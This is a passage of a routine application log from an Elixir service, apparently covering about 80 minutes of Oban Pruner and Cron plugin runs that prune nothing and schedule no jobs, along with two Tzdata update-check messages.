{"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:35.609 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.787 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:05.612 [info] {"source":"oban","duration":2459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:35.614 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.788 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:05.616 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:35.618 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.789 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:05.620 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:35.622 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.790 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:05.624 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:35.626 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.791 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:05.628 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:35.630 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.792 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:05.632 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:35.634 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.793 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:05.636 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:35.638 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.794 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:05.640 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:35.642 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.796 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:05.644 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:35.646 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.797 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:05.648 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:35.650 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.798 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:05.652 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:35.654 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.799 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:05.656 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:35.658 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.800 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:05.660 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:35.662 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.801 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:05.664 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:35.666 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.802 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:05.668 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:35.670 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.803 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:05.672 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:35.674 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.804 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:05.676 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:35.678 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.805 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:05.680 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:35.682 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.806 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:05.684 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:35.686 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.807 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:05.688 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:35.690 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.808 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:05.692 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:35.693 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.809 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:05.696 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:35.698 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.810 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:05.700 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:35.702 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.811 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:05.704 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:35.706 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.812 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:05.708 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:35.710 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.813 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:05.712 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:35.714 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.814 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:05.716 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:35.718 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.815 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:05.720 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:35.722 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.816 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:05.724 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:35.726 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.817 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:05.728 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:35.730 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.818 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:05.732 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:35.734 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.819 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:05.736 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:35.738 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.820 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:05.740 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:32.884 [debug] Tzdata polling for update. 19:42:33.036 [debug] Tzdata polling shows the loaded tz database is up to date. 19:42:35.742 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.821 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:05.744 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:35.746 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.822 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:05.748 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:35.750 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.823 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:05.752 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:35.754 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.824 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:05.756 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:35.758 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.825 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:05.760 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:35.762 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.826 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:05.764 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:35.766 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.827 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:05.768 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:35.770 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.828 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:05.772 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:35.774 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.829 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:05.775 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:35.778 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.830 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:05.780 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:35.782 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.831 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:05.784 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:35.786 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.832 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:05.788 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:35.790 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.833 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:05.792 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:35.794 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.834 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:05.796 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:35.798 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.835 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:05.800 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:35.802 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.836 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:05.805 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:35.807 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.837 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:05.809 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:35.811 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.838 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:05.813 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:35.815 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.839 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:05.817 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:35.819 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.840 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:05.821 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:35.823 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.841 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:05.825 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:35.827 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.842 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:05.829 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:35.831 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.843 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:05.833 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:35.835 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.844 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:05.837 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:35.839 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.845 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:05.841 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:35.843 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.846 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:05.845 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:35.848 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.847 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:05.850 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:35.852 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.848 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:05.854 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:35.856 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.849 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:05.858 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:35.860 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.850 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:05.862 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:35.864 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.851 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:05.866 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:35.868 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.852 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:05.870 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:35.872 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.853 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:05.874 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:35.876 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.854 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:05.878 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:35.879 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.855 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:05.882 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:35.884 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.856 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:05.886 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:35.888 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.857 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:05.890 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:35.892 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.858 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:05.894 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:35.896 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.859 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:05.898 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:35.900 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.860 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:05.902 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:35.904 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.861 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:05.906 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:35.908 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.862 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:05.910 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:35.912 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.863 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:05.915 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:35.917 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.864 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:05.919 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:35.920 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.865 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:05.923 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:35.925 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.866 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:05.927 [info] 